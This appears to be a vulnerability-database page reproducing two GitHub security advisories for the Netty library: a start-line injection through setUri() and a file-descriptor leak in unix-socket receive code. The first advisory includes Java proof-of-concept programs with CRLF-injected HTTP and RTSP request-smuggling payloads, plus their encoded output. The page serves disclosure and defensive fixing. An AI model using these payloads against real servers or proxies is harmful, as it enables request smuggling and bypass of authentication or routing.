\r,\n, and request-smuggling payloads are rejected - verify that both
HttpRequestEncoderandRtspEncoderare protected from setter-based bypasses
Affected Area
netty-codec-httpio.netty.handler.codec.http.DefaultHttpRequestio.netty.handler.codec.http.DefaultFullHttpRequestio.netty.handler.codec.http.HttpRequestEncoderio.netty.handler.codec.rtsp.RtspEncoder
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.1.132.Final"
},
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-http"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.1.133.Final"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.2.12.Final"
},
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-http"
},
"ranges": [
{
"events": [
{
"introduced": "4.2.0.Alpha1"
},
{
"fixed": "4.2.13.Final"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-41417"
],
"database_specific": {
"cwe_ids": [
"CWE-444",
"CWE-93"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-05T18:27:35Z",
"nvd_published_at": "2026-05-06T22:16:25Z",
"severity": "MODERATE"
},
"details": "### Summary\nNetty allows request-line validation to be bypassed when a `DefaultHttpRequest` or `DefaultFullHttpRequest` is created first and its URI is later changed via `setUri()`.\n\nThe constructors reject CRLF and whitespace characters that would break the start-line, but `setUri()` does not apply the same validation. `HttpRequestEncoder` and `RtspEncoder` then write the URI into the request line verbatim. If attacker-controlled input reaches `setUri()`, this enables CRLF injection and insertion of additional HTTP or RTSP requests.\n\nIn practice, this leads to HTTP request smuggling / desynchronization on the HTTP side and request injection on the RTSP side.\n\n### Details\nThe root issue is that URI validation exists only on the constructor path, but not on the public setter path.\n\n- `io.netty.handler.codec.http.DefaultHttpRequest`\n - The constructor calls `HttpUtil.validateRequestLineTokens(method, uri)`\n - `setUri(String uri)` only performs `checkNotNull` and does not validate\n- `io.netty.handler.codec.http.DefaultFullHttpRequest`\n - `setUri(String uri)` delegates to the parent implementation\n- `io.netty.handler.codec.http.HttpRequestEncoder`\n - Writes `request.uri()` directly into the request line\n- `io.netty.handler.codec.rtsp.RtspEncoder`\n - Writes `request.uri()` directly into the request line\n\nThis creates the following bypass:\n\n1. An application creates a `DefaultHttpRequest` or `DefaultFullHttpRequest` with a safe URI\n2. Later, attacker-influenced input is passed into `setUri()`\n3. `HttpRequestEncoder` or `RtspEncoder` encodes that value verbatim\n4. The downstream server, proxy, or RTSP peer interprets the injected bytes after CRLF as separate requests\n\nThis appears to be an incomplete fix pattern where start-line validation exists, but can still be bypassed through a mutable public API.\n\n### PoC (HTTP)\nThe following code first creates a normal request object and then injects a malicious request line using `setUri()`.\n\n```java\nimport io.netty.buffer.ByteBuf;\nimport io.netty.channel.embedded.EmbeddedChannel;\nimport io.netty.handler.codec.http.DefaultHttpRequest;\nimport io.netty.handler.codec.http.HttpMethod;\nimport io.netty.handler.codec.http.HttpRequestEncoder;\nimport io.netty.handler.codec.http.HttpServerCodec;\nimport io.netty.handler.codec.http.HttpVersion;\nimport io.netty.util.CharsetUtil;\n\npublic final class HttpSetUriSmugglePoc {\n public static void main(String[] args) {\n EmbeddedChannel client = new EmbeddedChannel(new HttpRequestEncoder());\n EmbeddedChannel server = new EmbeddedChannel(new HttpServerCodec());\n\n DefaultHttpRequest request = new DefaultHttpRequest(\n HttpVersion.HTTP_1_1, HttpMethod.GET, \"/safe\");\n\n request.setUri(\"/s1 HTTP/1.1\\r\\n\" +\n \"\\r\\n\" +\n \"POST /s2 HTTP/1.1\\r\\n\" +\n \"content-length: 11\\r\\n\\r\\n\" +\n \"Hello World\" +\n \"GET /s1\");\n\n client.writeOutbound(request);\n ByteBuf outbound = client.readOutbound();\n\n System.out.println(\"=== Raw encoded request ===\");\n System.out.println(outbound.toString(CharsetUtil.US_ASCII));\n\n System.out.println(\"=== Decoded by HttpServerCodec ===\");\n server.writeInbound(outbound.retainedDuplicate());\n\n Object msg;\n while ((msg = server.readInbound()) != null) {\n System.out.println(msg);\n }\n\n outbound.release();\n client.finishAndReleaseAll();\n server.finishAndReleaseAll();\n }\n}\n```\n\nWhen reproduced, the raw encoded request looks like this:\n\n```http\nGET /s1 HTTP/1.1\n\nPOST /s2 HTTP/1.1\ncontent-length: 11\n\nHello WorldGET /s1 HTTP/1.1\n```\n\n`HttpServerCodec` then parses this as multiple HTTP messages rather than a single request:\n\n- `GET /s1`\n- `POST /s2` with body `Hello World`\n- trailing `GET /s1`\n\nThis confirms that the value supplied through `setUri()` is interpreted on the wire as additional requests.\n\n### PoC (RTSP)\nThe same root cause also affects `RtspEncoder`. A minimal reproduction is shown below.\n\n```java\nimport io.netty.buffer.ByteBuf;\nimport io.netty.channel.embedded.EmbeddedChannel;\nimport io.netty.handler.codec.http.DefaultHttpRequest;\nimport io.netty.handler.codec.rtsp.RtspDecoder;\nimport io.netty.handler.codec.rtsp.RtspEncoder;\nimport io.netty.handler.codec.rtsp.RtspMethods;\nimport io.netty.handler.codec.rtsp.RtspVersions;\nimport io.netty.util.CharsetUtil;\n\npublic final class RtspSetUriSmugglePoc {\n public static void main(String[] args) {\n EmbeddedChannel client = new EmbeddedChannel(new RtspEncoder());\n EmbeddedChannel server = new EmbeddedChannel(new RtspDecoder());\n\n DefaultHttpRequest request = new DefaultHttpRequest(\n RtspVersions.RTSP_1_0, RtspMethods.OPTIONS, \"rtsp://safe/media\");\n\n request.setUri(\"rtsp://cam/stream RTSP/1.0\\r\\n\" +\n \"CSeq: 1\\r\\n\\r\\n\" +\n \"DESCRIBE rtsp://cam/secret RTSP/1.0\\r\\n\" +\n \"CSeq: 2\\r\\n\\r\\n\" +\n \"OPTIONS rtsp://cam/final\");\n\n client.writeOutbound(request);\n ByteBuf outbound = client.readOutbound();\n\n System.out.println(\"=== Raw encoded RTSP request ===\");\n System.out.println(outbound.toString(CharsetUtil.US_ASCII));\n\n System.out.println(\"=== Decoded by RtspDecoder ===\");\n server.writeInbound(outbound.retainedDuplicate());\n }\n}\n```\n\nWhen reproduced, `RtspEncoder` generates consecutive RTSP requests in a single encoded payload:\n\n```text\nOPTIONS rtsp://cam/stream RTSP/1.0\nCSeq: 1\n\nDESCRIBE rtsp://cam/secret RTSP/1.0\nCSeq: 2\n\nOPTIONS rtsp://cam/final RTSP/1.0\n```\n\n`RtspDecoder` then parses this as three separate RTSP requests:\n\n- `OPTIONS rtsp://cam/stream`\n- `DESCRIBE rtsp://cam/secret`\n- `OPTIONS rtsp://cam/final`\n\nThis confirms that the same setter bypass is exploitable for RTSP request injection as well.\n\n### Impact\nThe vulnerable conditions are:\n\n- The application uses `DefaultHttpRequest` or `DefaultFullHttpRequest`\n- The request object is created first and later modified through `setUri()`\n- The value passed into `setUri()` is attacker-controlled or attacker-influenced\n- The object is eventually serialized by `HttpRequestEncoder` or `RtspEncoder`\n\nUnder those conditions, an attacker may be able to:\n\n- perform HTTP request smuggling\n- trigger proxy/backend desynchronization\n- inject additional requests toward internal APIs\n- confuse request boundaries and bypass assumptions around authentication or routing\n- inject RTSP requests\n\nThe exact impact depends on how the application constructs URIs and how the upstream/downstream HTTP or RTSP components parse request boundaries, but the security impact is real and reproducible.\n\n### Root Cause\nValidation is enforced only at object construction time, but not on the public mutation API that can break the same security invariant.\n\nAs a result, the constructors are safe while the public `setUri()` path is not, and the encoders trust and serialize the mutated value without revalidation.\n\n### Suggested Fix Direction\n`DefaultHttpRequest.setUri()` and all delegating/inheriting paths should apply the same request-line token validation as the constructors.\n\nRecommended regression coverage:\n\n- verify that `setUri()` rejects CRLF-containing input after object construction\n- verify that `DefaultFullHttpRequest.setUri()` is blocked as well\n- verify that spaces, `\\r`, `\\n`, and request-smuggling payloads are rejected\n- verify that both `HttpRequestEncoder` and `RtspEncoder` are protected from setter-based bypasses\n\n### Affected Area\n- `netty-codec-http`\n- `io.netty.handler.codec.http.DefaultHttpRequest`\n- `io.netty.handler.codec.http.DefaultFullHttpRequest`\n- `io.netty.handler.codec.http.HttpRequestEncoder`\n- `io.netty.handler.codec.rtsp.RtspEncoder`",
"id": "GHSA-v8h7-rr48-vmmv",
"modified": "2026-05-08T19:32:42Z",
"published": "2026-05-05T18:27:35Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/netty/netty/security/advisories/GHSA-v8h7-rr48-vmmv"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41417"
},
{
"type": "PACKAGE",
"url": "https://github.com/netty/netty"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Netty: Start-Line Injection in DefaultHttpRequest.setUri() Allows HTTP Request Smuggling and RTSP Request Injection"
}
GHSA-W573-9FFJ-6FF9
Vulnerability from github – Published: 2026-06-08 23:01 – Updated: 2026-06-12 19:29netty_unix_socket_recvFd sets msg_control to char control[CMSG_SPACE(sizeof(int))] (line 940) — 24 bytes on 64-bit Linux. A peer-sent SCM_RIGHTS cmsg carrying two ints has cmsg_len = CMSG_LEN(8) = 24, which fits exactly with no MSG_CTRUNC, so the kernel installs both fds in the receiving process. The subsequent check cmsg->cmsg_len == CMSG_LEN(sizeof(int)) (line 972, expected 20) fails, the branch that would read the fd is skipped, and neither installed fd is closed. The for(;;) loop calls recvmsg again (non-blocking → EAGAIN → Java maps to 0 → read loop exits normally), leaving two leaked fds per message. There is no MSG_CTRUNC handling. Reachable via Epoll/KQueue DomainSocketChannel when the application opts into DomainSocketReadMode.FILE_DESCRIPTORS (non-default).
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.2.14.Final"
},
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-transport-native-epoll"
},
"ranges": [
{
"events": [
{
"introduced": "4.2.0.Final"
},
{
"fixed": "4.2.15.Final"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.2.14.Final"
},
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-transport-native-kqueue"
},
"ranges": [
{
"events": [
{
"introduced": "4.2.0.Final"
},
{
"fixed": "4.2.15.Final"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.1.134.Final"
},
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-transport-native-kqueue"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.1.135.Final"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.1.134.Final"
},
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-transport-native-epoll"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.1.135.Final"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-45536"
],
"database_specific": {
"cwe_ids": [
"CWE-200",
"CWE-772"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-08T23:01:33Z",
"nvd_published_at": "2026-06-12T15:16:27Z",
"severity": "MODERATE"
},
"details": "netty_unix_socket_recvFd sets msg_control to `char control[CMSG_SPACE(sizeof(int))]` (line 940) \u2014 24 bytes on 64-bit Linux. A peer-sent SCM_RIGHTS cmsg carrying two ints has cmsg_len = CMSG_LEN(8) = 24, which fits exactly with no MSG_CTRUNC, so the kernel installs both fds in the receiving process. The subsequent check `cmsg-\u003ecmsg_len == CMSG_LEN(sizeof(int))` (line 972, expected 20) fails, the branch that would read the fd is skipped, and neither installed fd is closed. The for(;;) loop calls recvmsg again (non-blocking \u2192 EAGAIN \u2192 Java maps to 0 \u2192 read loop exits normally), leaving two leaked fds per message. There is no MSG_CTRUNC handling. Reachable via Epoll/KQueue DomainSocketChannel when the application opts into DomainSocketReadMode.FILE_DESCRIPTORS (non-default).",
"id": "GHSA-w573-9ffj-6ff9",
"modified": "2026-06-12T19:29:26Z",
"published": "2026-06-08T23:01:33Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/netty/netty/security/advisories/GHSA-w573-9ffj-6ff9"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-45536"
},
{
"type": "PACKAGE",
"url": "https://github.com/netty/netty"
},
{
"type": "WEB",
"url": "https://github.com/netty/netty/releases/tag/netty-4.1.135.Final"
},
{
"type": "WEB",
"url": "https://github.com/netty/netty/releases/tag/netty-4.2.15.Final"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
}
],
"summary": "Netty: Unix-socket fd receive leaks descriptors when peer sends two at once"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.